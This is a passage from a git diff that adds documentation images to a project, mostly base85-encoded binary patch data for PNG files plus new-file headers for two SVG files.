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 literal 0 HcmV?d00001 diff --git a/docs/home/workflow.svg b/docs/home/workflow.svg new file mode 100644 index 0000000..e00e892 --- /dev/null +++ b/docs/home/workflow.svg @@ -0,0 +1,615 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/docs/img/logo.svg b/docs/img/logo.svg new file mode 100644 index 0000000..57feb5b --- /dev/null +++ b/docs/img/logo.svg @@ -0,0 +1,93 @@ + + + + + + + + + + + + + + + + + + + + + diff --git a/docs/img/og-conductor.png b/docs/img/og-conductor.png new file mode 100644 index 0000000000000000000000000000000000000000..22f44a4a0844e2ff52b856f155ebcc1d2be87290 GIT binary patch literal 35411 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 